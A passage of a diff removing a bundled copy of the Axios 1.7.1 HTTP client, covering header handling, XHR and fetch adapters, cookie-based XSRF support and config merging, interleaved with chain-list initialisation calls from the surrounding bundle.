line.substring(i + 1).trim(); - if (!key22 || parsed[key22] && ignoreDuplicateOf[key22]) { - return; - } - if (key22 === "set-cookie") { - if (parsed[key22]) { - parsed[key22].push(val); - } else { - parsed[key22] = [val]; - } - } else { - parsed[key22] = parsed[key22] ? parsed[key22] + ", " + val : val; - } - }); - return parsed; - }; - var $internals = Symbol("internals"); - function normalizeHeader(header) { - return header && String(header).trim().toLowerCase(); - } - function normalizeValue(value) { - if (value === false || value == null) { - return value; - } - return utils_default.isArray(value) ? value.map(normalizeValue) : String(value); - } - function parseTokens(str) { - const tokens2 = /* @__PURE__ */ Object.create(null); - const tokensRE = /([^\s,;=]+)\s*(?:=\s*([^,;]+))?/g; - let match; - while (match = tokensRE.exec(str)) { - tokens2[match[1]] = match[2]; - } - return tokens2; - } - var isValidHeaderName = (str) => /^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(str.trim()); - function matchHeaderValue(context, value, header, filter2, isHeaderNameFilter) { - if (utils_default.isFunction(filter2)) { - return filter2.call(this, value, header); - } - if (isHeaderNameFilter) { - value = header; - } - if (!utils_default.isString(value)) - return; - if (utils_default.isString(filter2)) { - return value.indexOf(filter2) !== -1; - } - if (utils_default.isRegExp(filter2)) { - return filter2.test(value); - } - } - function formatHeader(header) { - return header.trim().toLowerCase().replace(/([a-z\d])(\w*)/g, (w, char, str) => { - return char.toUpperCase() + str; - }); - } - function buildAccessors(obj, header) { - const accessorName = utils_default.toCamelCase(" " + header); - ["get", "set", "has"].forEach((methodName) => { - Object.defineProperty(obj, methodName + accessorName, { - value: function(arg1, arg2, arg3) { - return this[methodName].call(this, header, arg1, arg2, arg3); - }, - configurable: true - }); - }); - } - var AxiosHeaders = class { - constructor(headers) { - headers && this.set(headers); - } - set(header, valueOrRewrite, rewrite) { - const self2 = this; - function setHeader(_value, _header, _rewrite) { - const lHeader = normalizeHeader(_header); - if (!lHeader) { - throw new Error("header name must be a non-empty string"); - } - const key22 = utils_default.findKey(self2, lHeader); - if (!key22 || self2[key22] === void 0 || _rewrite === true || _rewrite === void 0 && self2[key22] !== false) { - self2[key22 || _header] = normalizeValue(_value); - } - } - const setHeaders = (headers, _rewrite) => utils_default.forEach(headers, (_value, _header) => setHeader(_value, _header, _rewrite)); - if (utils_default.isPlainObject(header) || header instanceof this.constructor) { - setHeaders(header, valueOrRewrite); - } else if (utils_default.isString(header) && (header = header.trim()) && !isValidHeaderName(header)) { - setHeaders(parseHeaders_default(header), valueOrRewrite); - } else if (utils_default.isHeaders(header)) { - for (const [key22, value] of header.entries()) { - setHeader(value, key22, rewrite); - } - } else { - header != null && setHeader(valueOrRewrite, header, rewrite); - } - return this; - } - get(header, parser) { - header = normalizeHeader(header); - if (header) { - const key22 = utils_default.findKey(this, header); - if (key22) { - const value = this[key22]; - if (!parser) { - return value; - } - if (parser === true) { - return parseTokens(value); - } - if (utils_default.isFunction(parser)) { - return parser.call(this, value, key22); - } - if (utils_default.isRegExp(parser)) { - return parser.exec(value); - } - throw new TypeError("parser must be boolean|regexp|function"); - } - } - } - has(header, matcher) { - header = normalizeHeader(header); - if (header) { - const key22 = utils_default.findKey(this, header); - return !!(key22 && this[key22] !== void 0 && (!matcher || matchHeaderValue(this, this[key22], key22, matcher))); - } - return false; - } - delete(header, matcher) { - const self2 = this; - let deleted = false; - function deleteHeader(_header) { - _header = normalizeHeader(_header); - if (_header) { - const key22 = utils_default.findKey(self2, _header); - if (key22 && (!matcher || matchHeaderValue(self2, self2[key22], key22, matcher))) { - delete self2[key22]; - deleted = true; - } - } - } - if (utils_default.isArray(header)) { - header.forEach(deleteHeader); - } else { - deleteHeader(header); - } - return deleted; - } - clear(matcher) { - const keys = Object.keys(this); - let i = keys.length; - let deleted = false; - while (i--) { - const key22 = keys[i]; - if (!matcher || matchHeaderValue(this, this[key22], key22, matcher, true)) { - delete this[key22]; - deleted = true; - } - } - return deleted; - } - normalize(format) { - const self2 = this; - const headers = {}; - utils_default.forEach(this, (value, header) => { - const key22 = utils_default.findKey(headers, header); - if (key22) { - self2[key22] = normalizeValue(value); - delete self2[header]; - return; - } - const normalized = format ? formatHeader(header) : String(header).trim(); - if (normalized !== header) { - delete self2[header]; - } - self2[normalized] = normalizeValue(value); - headers[normalized] = true; - }); - return this; - } - concat(...targets) { - return this.constructor.concat(this, ...targets); - } - toJSON(asStrings) { - const obj = /* @__PURE__ */ Object.create(null); - utils_default.forEach(this, (value, header) => { - value != null && value !== false && (obj[header] = asStrings && utils_default.isArray(value) ? value.join(", ") : value); - }); - return obj; - } - [Symbol.iterator]() { - return Object.entries(this.toJSON())[Symbol.iterator](); - } - toString() { - return Object.entries(this.toJSON()).map(([header, value]) => header + ": " + value).join("\n"); - } - get [Symbol.toStringTag]() { - return "AxiosHeaders"; - } - static from(thing) { - return thing instanceof this ? thing : new this(thing); - } - static concat(first, ...targets) { - const computed = new this(first); - targets.forEach((target) => computed.set(target)); - return computed; - } - static accessor(header) { - const internals2 = this[$internals] = this[$internals] = { - accessors: {} - }; - const accessors = internals2.accessors; - const prototype3 = this.prototype; - function defineAccessor(_header) { - const lHeader = normalizeHeader(_header); - if (!accessors[lHeader]) { - buildAccessors(prototype3, _header); - accessors[lHeader] = true; - } - } - utils_default.isArray(header) ? header.forEach(defineAccessor) : defineAccessor(header); - return this; - } - }; - AxiosHeaders.accessor(["Content-Type", "Content-Length", "Accept", "Accept-Encoding", "User-Agent", "Authorization"]); - utils_default.reduceDescriptors(AxiosHeaders.prototype, ({ value }, key22) => { - let mapped = key22[0].toUpperCase() + key22.slice(1); - return { - get: () => value, - set(headerValue) { - this[mapped] = headerValue; - } - }; - }); - utils_default.freezeMethods(AxiosHeaders); - var AxiosHeaders_default = AxiosHeaders; - function transformData(fns, response) { - const config = this || defaults_default; - const context = response || config; - const headers = AxiosHeaders_default.from(context.headers); - let data = context.data; - utils_default.forEach(fns, function transform(fn) { - data = fn.call(config, data, headers.normalize(), response ? response.status : void 0); - }); - headers.normalize(); - return data; - } - init_define_chainIDList(); - init_define_extraRpcs(); - function isCancel(value) { - return !!(value && value.__CANCEL__); - } - init_define_chainIDList(); - init_define_extraRpcs(); - function CanceledError(message, config, request) { - AxiosError_default.call(this, message == null ? "canceled" : message, AxiosError_default.ERR_CANCELED, config, request); - this.name = "CanceledError"; - } - utils_default.inherits(CanceledError, AxiosError_default, { - __CANCEL__: true - }); - var CanceledError_default = CanceledError; - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - function settle(resolve, reject, response) { - const validateStatus2 = response.config.validateStatus; - if (!response.status || !validateStatus2 || validateStatus2(response.status)) { - resolve(response); - } else { - reject(new AxiosError_default( - "Request failed with status code " + response.status, - [AxiosError_default.ERR_BAD_REQUEST, AxiosError_default.ERR_BAD_RESPONSE][Math.floor(response.status / 100) - 4], - response.config, - response.request, - response - )); - } - } - init_define_chainIDList(); - init_define_extraRpcs(); - function parseProtocol(url) { - const match = /^([-+\w]{1,25})(:?\/\/|:)/.exec(url); - return match && match[1] || ""; - } - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - function speedometer(samplesCount, min) { - samplesCount = samplesCount || 10; - const bytes = new Array(samplesCount); - const timestamps = new Array(samplesCount); - let head = 0; - let tail = 0; - let firstSampleTS; - min = min !== void 0 ? min : 1e3; - return function push(chunkLength) { - const now2 = Date.now(); - const startedAt = timestamps[tail]; - if (!firstSampleTS) { - firstSampleTS = now2; - } - bytes[head] = chunkLength; - timestamps[head] = now2; - let i = tail; - let bytesCount = 0; - while (i !== head) { - bytesCount += bytes[i++]; - i = i % samplesCount; - } - head = (head + 1) % samplesCount; - if (head === tail) { - tail = (tail + 1) % samplesCount; - } - if (now2 - firstSampleTS < min) { - return; - } - const passed = startedAt && now2 - startedAt; - return passed ? Math.round(bytesCount * 1e3 / passed) : void 0; - }; - } - var speedometer_default = speedometer; - init_define_chainIDList(); - init_define_extraRpcs(); - function throttle(fn, freq) { - let timestamp = 0; - const threshold = 1e3 / freq; - let timer22 = null; - return function throttled() { - const force = this === true; - const now2 = Date.now(); - if (force || now2 - timestamp > threshold) { - if (timer22) { - clearTimeout(timer22); - timer22 = null; - } - timestamp = now2; - return fn.apply(null, arguments); - } - if (!timer22) { - timer22 = setTimeout(() => { - timer22 = null; - timestamp = Date.now(); - return fn.apply(null, arguments); - }, threshold - (now2 - timestamp)); - } - }; - } - var throttle_default = throttle; - var progressEventReducer_default = (listener, isDownloadStream, freq = 3) => { - let bytesNotified = 0; - const _speedometer = speedometer_default(50, 250); - return throttle_default((e) => { - const loaded = e.loaded; - const total = e.lengthComputable ? e.total : void 0; - const progressBytes = loaded - bytesNotified; - const rate = _speedometer(progressBytes); - const inRange = loaded <= total; - bytesNotified = loaded; - const data = { - loaded, - total, - progress: total ? loaded / total : void 0, - bytes: progressBytes, - rate: rate ? rate : void 0, - estimated: rate && total && inRange ? (total - loaded) / rate : void 0, - event: e, - lengthComputable: total != null - }; - data[isDownloadStream ? "download" : "upload"] = true; - listener(data); - }, freq); - }; - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - var isURLSameOrigin_default = platform_default.hasStandardBrowserEnv ? ( - // Standard browser envs have full support of the APIs needed to test - // whether the request URL is of the same origin as current location. - function standardBrowserEnv() { - const msie = /(msie|trident)/i.test(navigator.userAgent); - const urlParsingNode = document.createElement("a"); - let originURL; - function resolveURL(url) { - let href = url; - if (msie) { - urlParsingNode.setAttribute("href", href); - href = urlParsingNode.href; - } - urlParsingNode.setAttribute("href", href); - return { - href: urlParsingNode.href, - protocol: urlParsingNode.protocol ? urlParsingNode.protocol.replace(/:$/, "") : "", - host: urlParsingNode.host, - search: urlParsingNode.search ? urlParsingNode.search.replace(/^\?/, "") : "", - hash: urlParsingNode.hash ? urlParsingNode.hash.replace(/^#/, "") : "", - hostname: urlParsingNode.hostname, - port: urlParsingNode.port, - pathname: urlParsingNode.pathname.charAt(0) === "/" ? urlParsingNode.pathname : "/" + urlParsingNode.pathname - }; - } - originURL = resolveURL(window.location.href); - return function isURLSameOrigin(requestURL) { - const parsed = utils_default.isString(requestURL) ? resolveURL(requestURL) : requestURL; - return parsed.protocol === originURL.protocol && parsed.host === originURL.host; - }; - }() - ) : ( - // Non standard browser envs (web workers, react-native) lack needed support. - /* @__PURE__ */ function nonStandardBrowserEnv() { - return function isURLSameOrigin() { - return true; - }; - }() - ); - init_define_chainIDList(); - init_define_extraRpcs(); - var cookies_default = platform_default.hasStandardBrowserEnv ? ( - // Standard browser envs support document.cookie - { - write(name, value, expires, path, domain, secure) { - const cookie = [name + "=" + encodeURIComponent(value)]; - utils_default.isNumber(expires) && cookie.push("expires=" + new Date(expires).toGMTString()); - utils_default.isString(path) && cookie.push("path=" + path); - utils_default.isString(domain) && cookie.push("domain=" + domain); - secure === true && cookie.push("secure"); - document.cookie = cookie.join("; "); - }, - read(name) { - const match = document.cookie.match(new RegExp("(^|;\\s*)(" + name + ")=([^;]*)")); - return match ? decodeURIComponent(match[3]) : null; - }, - remove(name) { - this.write(name, "", Date.now() - 864e5); - } - } - ) : ( - // Non-standard browser env (web workers, react-native) lack needed support. - { - write() { - }, - read() { - return null; - }, - remove() { - } - } - ); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - function isAbsoluteURL(url) { - return /^([a-z][a-z\d+\-.]*:)?\/\//i.test(url); - } - init_define_chainIDList(); - init_define_extraRpcs(); - function combineURLs(baseURL, relativeURL) { - return relativeURL ? baseURL.replace(/\/?\/$/, "") + "/" + relativeURL.replace(/^\/+/, "") : baseURL; - } - function buildFullPath(baseURL, requestedURL) { - if (baseURL && !isAbsoluteURL(requestedURL)) { - return combineURLs(baseURL, requestedURL); - } - return requestedURL; - } - init_define_chainIDList(); - init_define_extraRpcs(); - var headersToObject = (thing) => thing instanceof AxiosHeaders_default ? { ...thing } : thing; - function mergeConfig(config1, config2) { - config2 = config2 || {}; - const config = {}; - function getMergedValue(target, source, caseless) { - if (utils_default.isPlainObject(target) && utils_default.isPlainObject(source)) { - return utils_default.merge.call({ caseless }, target, source); - } else if (utils_default.isPlainObject(source)) { - return utils_default.merge({}, source); - } else if (utils_default.isArray(source)) { - return source.slice(); - } - return source; - } - function mergeDeepProperties(a, b, caseless) { - if (!utils_default.isUndefined(b)) { - return getMergedValue(a, b, caseless); - } else if (!utils_default.isUndefined(a)) { - return getMergedValue(void 0, a, caseless); - } - } - function valueFromConfig2(a, b) { - if (!utils_default.isUndefined(b)) { - return getMergedValue(void 0, b); - } - } - function defaultToConfig2(a, b) { - if (!utils_default.isUndefined(b)) { - return getMergedValue(void 0, b); - } else if (!utils_default.isUndefined(a)) { - return getMergedValue(void 0, a); - } - } - function mergeDirectKeys(a, b, prop) { - if (prop in config2) { - return getMergedValue(a, b); - } else if (prop in config1) { - return getMergedValue(void 0, a); - } - } - const mergeMap = { - url: valueFromConfig2, - method: valueFromConfig2, - data: valueFromConfig2, - baseURL: defaultToConfig2, - transformRequest: defaultToConfig2, - transformResponse: defaultToConfig2, - paramsSerializer: defaultToConfig2, - timeout: defaultToConfig2, - timeoutMessage: defaultToConfig2, - withCredentials: defaultToConfig2, - withXSRFToken: defaultToConfig2, - adapter: defaultToConfig2, - responseType: defaultToConfig2, - xsrfCookieName: defaultToConfig2, - xsrfHeaderName: defaultToConfig2, - onUploadProgress: defaultToConfig2, - onDownloadProgress: defaultToConfig2, - decompress: defaultToConfig2, - maxContentLength: defaultToConfig2, - maxBodyLength: defaultToConfig2, - beforeRedirect: defaultToConfig2, - transport: defaultToConfig2, - httpAgent: defaultToConfig2, - httpsAgent: defaultToConfig2, - cancelToken: defaultToConfig2, - socketPath: defaultToConfig2, - responseEncoding: defaultToConfig2, - validateStatus: mergeDirectKeys, - headers: (a, b) => mergeDeepProperties(headersToObject(a), headersToObject(b), true) - }; - utils_default.forEach(Object.keys(Object.assign({}, config1, config2)), function computeConfigValue(prop) { - const merge2 = mergeMap[prop] || mergeDeepProperties; - const configValue = merge2(config1[prop], config2[prop], prop); - utils_default.isUndefined(configValue) && merge2 !== mergeDirectKeys || (config[prop] = configValue); - }); - return config; - } - var resolveConfig_default = (config) => { - const newConfig = mergeConfig({}, config); - let { data, withXSRFToken, xsrfHeaderName, xsrfCookieName, headers, auth } = newConfig; - newConfig.headers = headers = AxiosHeaders_default.from(headers); - newConfig.url = buildURL(buildFullPath(newConfig.baseURL, newConfig.url), config.params, config.paramsSerializer); - if (auth) { - headers.set( - "Authorization", - "Basic " + btoa((auth.username || "") + ":" + (auth.password ? unescape(encodeURIComponent(auth.password)) : "")) - ); - } - let contentType; - if (utils_default.isFormData(data)) { - if (platform_default.hasStandardBrowserEnv || platform_default.hasStandardBrowserWebWorkerEnv) { - headers.setContentType(void 0); - } else if ((contentType = headers.getContentType()) !== false) { - const [type, ...tokens2] = contentType ? contentType.split(";").map((token) => token.trim()).filter(Boolean) : []; - headers.setContentType([type || "multipart/form-data", ...tokens2].join("; ")); - } - } - if (platform_default.hasStandardBrowserEnv) { - withXSRFToken && utils_default.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig)); - if (withXSRFToken || withXSRFToken !== false && isURLSameOrigin_default(newConfig.url)) { - const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies_default.read(xsrfCookieName); - if (xsrfValue) { - headers.set(xsrfHeaderName, xsrfValue); - } - } - } - return newConfig; - }; - var isXHRAdapterSupported = typeof XMLHttpRequest !== "undefined"; - var xhr_default = isXHRAdapterSupported && function(config) { - return new Promise(function dispatchXhrRequest(resolve, reject) { - const _config = resolveConfig_default(config); - let requestData = _config.data; - const requestHeaders = AxiosHeaders_default.from(_config.headers).normalize(); - let { responseType } = _config; - let onCanceled; - function done() { - if (_config.cancelToken) { - _config.cancelToken.unsubscribe(onCanceled); - } - if (_config.signal) { - _config.signal.removeEventListener("abort", onCanceled); - } - } - let request = new XMLHttpRequest(); - request.open(_config.method.toUpperCase(), _config.url, true); - request.timeout = _config.timeout; - function onloadend() { - if (!request) { - return; - } - const responseHeaders = AxiosHeaders_default.from( - "getAllResponseHeaders" in request && request.getAllResponseHeaders() - ); - const responseData = !responseType || responseType === "text" || responseType === "json" ? request.responseText : request.response; - const response = { - data: responseData, - status: request.status, - statusText: request.statusText, - headers: responseHeaders, - config, - request - }; - settle(function _resolve(value) { - resolve(value); - done(); - }, function _reject(err) { - reject(err); - done(); - }, response); - request = null; - } - if ("onloadend" in request) { - request.onloadend = onloadend; - } else { - request.onreadystatechange = function handleLoad() { - if (!request || request.readyState !== 4) { - return; - } - if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf("file:") === 0)) { - return; - } - setTimeout(onloadend); - }; - } - request.onabort = function handleAbort() { - if (!request) { - return; - } - reject(new AxiosError_default("Request aborted", AxiosError_default.ECONNABORTED, _config, request)); - request = null; - }; - request.onerror = function handleError3() { - reject(new AxiosError_default("Network Error", AxiosError_default.ERR_NETWORK, _config, request)); - request = null; - }; - request.ontimeout = function handleTimeout() { - let timeoutErrorMessage = _config.timeout ? "timeout of " + _config.timeout + "ms exceeded" : "timeout exceeded"; - const transitional2 = _config.transitional || transitional_default; - if (_config.timeoutErrorMessage) { - timeoutErrorMessage = _config.timeoutErrorMessage; - } - reject(new AxiosError_default( - timeoutErrorMessage, - transitional2.clarifyTimeoutError ? AxiosError_default.ETIMEDOUT : AxiosError_default.ECONNABORTED, - _config, - request - )); - request = null; - }; - requestData === void 0 && requestHeaders.setContentType(null); - if ("setRequestHeader" in request) { - utils_default.forEach(requestHeaders.toJSON(), function setRequestHeader(val, key22) { - request.setRequestHeader(key22, val); - }); - } - if (!utils_default.isUndefined(_config.withCredentials)) { - request.withCredentials = !!_config.withCredentials; - } - if (responseType && responseType !== "json") { - request.responseType = _config.responseType; - } - if (typeof _config.onDownloadProgress === "function") { - request.addEventListener("progress", progressEventReducer_default(_config.onDownloadProgress, true)); - } - if (typeof _config.onUploadProgress === "function" && request.upload) { - request.upload.addEventListener("progress", progressEventReducer_default(_config.onUploadProgress)); - } - if (_config.cancelToken || _config.signal) { - onCanceled = (cancel) => { - if (!request) { - return; - } - reject(!cancel || cancel.type ? new CanceledError_default(null, config, request) : cancel); - request.abort(); - request = null; - }; - _config.cancelToken && _config.cancelToken.subscribe(onCanceled); - if (_config.signal) { - _config.signal.aborted ? onCanceled() : _config.signal.addEventListener("abort", onCanceled); - } - } - const protocol = parseProtocol(_config.url); - if (protocol && platform_default.protocols.indexOf(protocol) === -1) { - reject(new AxiosError_default("Unsupported protocol " + protocol + ":", AxiosError_default.ERR_BAD_REQUEST, config)); - return; - } - request.send(requestData || null); - }); - }; - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - var composeSignals = (signals, timeout) => { - let controller = new AbortController(); - let aborted; - const onabort = function(cancel) { - if (!aborted) { - aborted = true; - unsubscribe(); - const err = cancel instanceof Error ? cancel : this.reason; - controller.abort(err instanceof AxiosError_default ? err : new CanceledError_default(err instanceof Error ? err.message : err)); - } - }; - let timer22 = timeout && setTimeout(() => { - onabort(new AxiosError_default(`timeout ${timeout} of ms exceeded`, AxiosError_default.ETIMEDOUT)); - }, timeout); - const unsubscribe = () => { - if (signals) { - timer22 && clearTimeout(timer22); - timer22 = null; - signals.forEach((signal2) => { - signal2 && (signal2.removeEventListener ? signal2.removeEventListener("abort", onabort) : signal2.unsubscribe(onabort)); - }); - signals = null; - } - }; - signals.forEach((signal2) => signal2 && signal2.addEventListener && signal2.addEventListener("abort", onabort)); - const { signal } = controller; - signal.unsubscribe = unsubscribe; - return [signal, () => { - timer22 && clearTimeout(timer22); - timer22 = null; - }]; - }; - var composeSignals_default = composeSignals; - init_define_chainIDList(); - init_define_extraRpcs(); - var streamChunk = function* (chunk, chunkSize) { - let len = chunk.byteLength; - if (!chunkSize || len < chunkSize) { - yield chunk; - return; - } - let pos = 0; - let end; - while (pos < len) { - end = pos + chunkSize; - yield chunk.slice(pos, end); - pos = end; - } - }; - var readBytes = async function* (iterable, chunkSize, encode62) { - for await (const chunk of iterable) { - yield* streamChunk(ArrayBuffer.isView(chunk) ? chunk : await encode62(String(chunk)), chunkSize); - } - }; - var trackStream = (stream, chunkSize, onProgress, onFinish, encode62) => { - const iterator = readBytes(stream, chunkSize, encode62); - let bytes = 0; - return new ReadableStream({ - type: "bytes", - async pull(controller) { - const { done, value } = await iterator.next(); - if (done) { - controller.close(); - onFinish(); - return; - } - let len = value.byteLength; - onProgress && onProgress(bytes += len); - controller.enqueue(new Uint8Array(value)); - }, - cancel(reason) { - onFinish(reason); - return iterator.return(); - } - }, { - highWaterMark: 2 - }); - }; - var fetchProgressDecorator = (total, fn) => { - const lengthComputable = total != null; - return (loaded) => setTimeout(() => fn({ - lengthComputable, - total, - loaded - })); - }; - var isFetchSupported = typeof fetch !== "undefined"; - var isReadableStreamSupported = isFetchSupported && typeof ReadableStream !== "undefined"; - var encodeText = isFetchSupported && (typeof TextEncoder !== "undefined" ? /* @__PURE__ */ ((encoder) => (str) => encoder.encode(str))(new TextEncoder()) : async (str) => new Uint8Array(await new Response(str).arrayBuffer())); - var supportsRequestStream = isReadableStreamSupported && (() => { - let duplexAccessed = false; - const hasContentType = new Request(platform_default.origin, { - body: new ReadableStream(), - method: "POST", - get duplex() { - duplexAccessed = true; - return "half"; - } - }).headers.has("Content-Type"); - return duplexAccessed && !hasContentType; - })(); - var DEFAULT_CHUNK_SIZE = 64 * 1024; - var supportsResponseStream = isReadableStreamSupported && !!(() => { - try { - return utils_default.isReadableStream(new Response("").body); - } catch (err) { - } - })(); - var resolvers = { - stream: supportsResponseStream && ((res) => res.body) - }; - isFetchSupported && ((res) => { - ["text", "arrayBuffer", "blob", "formData", "stream"].forEach((type) => { - !resolvers[type] && (resolvers[type] = utils_default.isFunction(res[type]) ? (res2) => res2[type]() : (_, config) => { - throw new AxiosError_default(`Response type '${type}' is not supported`, AxiosError_default.ERR_NOT_SUPPORT, config); - }); - }); - })(new Response()); - var getBodyLength = async (body) => { - if (body == null) { - return 0; - } - if (utils_default.isBlob(body)) { - return body.size; - } - if (utils_default.isSpecCompliantForm(body)) { - return (await new Request(body).arrayBuffer()).byteLength; - } - if (utils_default.isArrayBufferView(body)) { - return body.byteLength; - } - if (utils_default.isURLSearchParams(body)) { - body = body + ""; - } - if (utils_default.isString(body)) { - return (await encodeText(body)).byteLength; - } - }; - var resolveBodyLength = async (headers, body) => { - const length = utils_default.toFiniteNumber(headers.getContentLength()); - return length == null ? getBodyLength(body) : length; - }; - var fetch_default = isFetchSupported && (async (config) => { - let { - url, - method, - data, - signal, - cancelToken, - timeout, - onDownloadProgress, - onUploadProgress, - responseType, - headers, - withCredentials = "same-origin", - fetchOptions - } = resolveConfig_default(config); - responseType = responseType ? (responseType + "").toLowerCase() : "text"; - let [composedSignal, stopTimeout] = signal || cancelToken || timeout ? composeSignals_default([signal, cancelToken], timeout) : []; - let finished, request; - const onFinish = () => { - !finished && setTimeout(() => { - composedSignal && composedSignal.unsubscribe(); - }); - finished = true; - }; - let requestContentLength; - try { - if (onUploadProgress && supportsRequestStream && method !== "get" && method !== "head" && (requestContentLength = await resolveBodyLength(headers, data)) !== 0) { - let _request2 = new Request(url, { - method: "POST", - body: data, - duplex: "half" - }); - let contentTypeHeader; - if (utils_default.isFormData(data) && (contentTypeHeader = _request2.headers.get("content-type"))) { - headers.setContentType(contentTypeHeader); - } - if (_request2.body) { - data = trackStream(_request2.body, DEFAULT_CHUNK_SIZE, fetchProgressDecorator( - requestContentLength, - progressEventReducer_default(onUploadProgress) - ), null, encodeText); - } - } - if (!utils_default.isString(withCredentials)) { - withCredentials = withCredentials ? "cors" : "omit"; - } - request = new Request(url, { - ...fetchOptions, - signal: composedSignal, - method: method.toUpperCase(), - headers: headers.normalize().toJSON(), - body: data, - duplex: "half", - withCredentials - }); - let response = await fetch(request); - const isStreamResponse = supportsResponseStream && (responseType === "stream" || responseType === "response"); - if (supportsResponseStream && (onDownloadProgress || isStreamResponse)) { - const options = {}; - ["status", "statusText", "headers"].forEach((prop) => { - options[prop] = response[prop]; - }); - const responseContentLength = utils_default.toFiniteNumber(response.headers.get("content-length")); - response = new Response( - trackStream(response.body, DEFAULT_CHUNK_SIZE, onDownloadProgress && fetchProgressDecorator( - responseContentLength, - progressEventReducer_default(onDownloadProgress, true) - ), isStreamResponse && onFinish, encodeText), - options - ); - } - responseType = responseType || "text"; - let responseData = await resolvers[utils_default.findKey(resolvers, responseType) || "text"](response, config); - !isStreamResponse && onFinish(); - stopTimeout && stopTimeout(); - return await new Promise((resolve, reject) => { - settle(resolve, reject, { - data: responseData, - headers: AxiosHeaders_default.from(response.headers), - status: response.status, - statusText: response.statusText, - config, - request - }); - }); - } catch (err) { - onFinish(); - if (err && err.name === "TypeError" && /fetch/i.test(err.message)) { - throw Object.assign( - new AxiosError_default("Network Error", AxiosError_default.ERR_NETWORK, config, request), - { - cause: err.cause || err - } - ); - } - throw AxiosError_default.from(err, err && err.code, config, request); - } - }); - var knownAdapters = { - http: null_default, - xhr: xhr_default, - fetch: fetch_default - }; - utils_default.forEach(knownAdapters, (fn, value) => { - if (fn) { - try { - Object.defineProperty(fn, "name", { value }); - } catch (e) { - } - Object.defineProperty(fn, "adapterName", { value }); - } - }); - var renderReason = (reason) => `- ${reason}`; - var isResolvedHandle = (adapter) => utils_default.isFunction(adapter) || adapter === null || adapter === false; - var adapters_default = { - getAdapter: (adapters) => { - adapters = utils_default.isArray(adapters) ? adapters : [adapters]; - const { length } = adapters; - let nameOrAdapter; - let adapter; - const rejectedReasons = {}; - for (let i = 0; i < length; i++) { - nameOrAdapter = adapters[i]; - let id22; - adapter = nameOrAdapter; - if (!isResolvedHandle(nameOrAdapter)) { - adapter = knownAdapters[(id22 = String(nameOrAdapter)).toLowerCase()]; - if (adapter === void 0) { - throw new AxiosError_default(`Unknown adapter '${id22}'`); - } - } - if (adapter) { - break; - } - rejectedReasons[id22 || "#" + i] = adapter; - } - if (!adapter) { - const reasons = Object.entries(rejectedReasons).map( - ([id22, state]) => `adapter ${id22} ` + (state === false ? "is not supported by the environment" : "is not available in the build") - ); - let s = length ? reasons.length > 1 ? "since :\n" + reasons.map(renderReason).join("\n") : " " + renderReason(reasons[0]) : "as no adapter specified"; - throw new AxiosError_default( - `There is no suitable adapter to dispatch the request ` + s, - "ERR_NOT_SUPPORT" - ); - } - return adapter; - }, - adapters: knownAdapters - }; - function throwIfCancellationRequested(config) { - if (config.cancelToken) { - config.cancelToken.throwIfRequested(); - } - if (config.signal && config.signal.aborted) { - throw new CanceledError_default(null, config); - } - } - function dispatchRequest(config) { - throwIfCancellationRequested(config); - config.headers = AxiosHeaders_default.from(config.headers); - config.data = transformData.call( - config, - config.transformRequest - ); - if (["post", "put", "patch"].indexOf(config.method) !== -1) { - config.headers.setContentType("application/x-www-form-urlencoded", false); - } - const adapter = adapters_default.getAdapter(config.adapter || defaults_default.adapter); - return adapter(config).then(function onAdapterResolution(response) { - throwIfCancellationRequested(config); - response.data = transformData.call( - config, - config.transformResponse, - response - ); - response.headers = AxiosHeaders_default.from(response.headers); - return response; - }, function onAdapterRejection(reason) { - if (!isCancel(reason)) { - throwIfCancellationRequested(config); - if (reason && reason.response) { - reason.response.data = transformData.call( - config, - config.transformResponse, - reason.response - ); - reason.response.headers = AxiosHeaders_default.from(reason.response.headers); - } - } - return Promise.reject(reason); - }); - } - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - var VERSION = "1.7.1"; - var validators = {}; - ["object", "boolean", "number", "function", "string", "symbol"].forEach((type, i) => { - validators[type] = function validator(thing) { - return typeof thing === type || "a" + (i < 1 ? "n " : " ") + type; - }; - }); - var deprecatedWarnings = {}; - validators.transitional = function transitional(validator, version172, message) { - function formatMessage(opt, desc) { - return "[Axios v" + VERSION + "] Transitional option '" + opt + "'" + desc + (message ? ". " + message : ""); - } - return (value, opt, opts) => { - if (validator === false) { - throw new AxiosError_default( - formatMessage(opt, " has been removed" + (version172 ? " in " + version172 : "")), - AxiosError_default.ERR_DEPRECATED - ); - } - if (version172 && !deprecatedWarnings[opt]) { - deprecatedWarnings[opt] = true; - console.warn( - formatMessage( - opt, - " has been deprecated since v" + version172 + " and will be removed in the near future" - ) - ); - } - return validator ? validator(value, opt, opts) : true; - }; - }; - function assertOptions(options, schema, allowUnknown) { - if (typeof options !== "object") { - throw new AxiosError_default("options must be an object", AxiosError_default.ERR_BAD_OPTION_VALUE); - } - const keys = Object.keys(options); - let i = keys.length; - while (i-- > 0) { - const opt = keys[i]; - const validator = schema[opt]; - if (validator) { - const value = options[opt]; - const result = value === void 0 || validator(value, opt, options); - if (result !== true) { - throw new AxiosError_default("option " + opt + " must be " + result, AxiosError_default.ERR_BAD_OPTION_VALUE); - } - continue; - } - if (allowUnknown !== true) { - throw new AxiosError_default("Unknown option " + opt, AxiosError_default.ERR_BAD_OPTION); - } - } - } - var validator_default = { - assertOptions, - validators - }; - var validators2 = validator_default.validators; - var Axios = class { - constructor(instanceConfig) { - this.defaults = instanceConfig; - this.interceptors = { - request: new InterceptorManager_default(), - response: new InterceptorManager_default() - }; - } - /** - * Dispatch a request - * - * @param {String|Object} configOrUrl The config specific for this request (merged with this.defaults) - * @param {?Object} config - * - * @returns {Promise} The Promise to be fulfilled - */ - async request(configOrUrl, config) { - try { - return await this._request(configOrUrl, config); - } catch (err) { - if (err instanceof Error) { - let dummy; - Error.captureStackTrace ? Error.captureStackTrace(dummy 